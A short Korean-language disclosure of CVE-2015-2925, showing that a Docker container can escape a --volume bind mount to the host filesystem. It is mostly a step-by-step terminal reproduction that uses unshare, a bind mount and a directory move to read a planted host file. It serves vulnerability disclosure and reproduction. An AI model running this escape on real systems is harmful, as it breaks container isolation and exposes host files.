
Docker + CVE-2015-2925 = --volume에서 탈출
Linux의 최근 취약점은 약 반년 동안 알려져 왔으며(몇 달간 공개됨) 바인드 마운트에서 탈출할 수 있게 합니다. 특히 Docker의 경우 --volume 옵션을 통해 마운트된 디렉토리 내부에서 해당 호스트의 파일시스템으로 탈출할 수 있습니다.
Docker 보안 팀은 이미 이 문제를 인지하고 있으며, 대중의 관심을 끌기 위해 공개를 허용했습니다.
Jann Horn이 지적해 주셔서 감사합니다. 기본적으로 저는 이를 재현했을 뿐입니다.
다음 중 하나라도 충분합니다:
# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped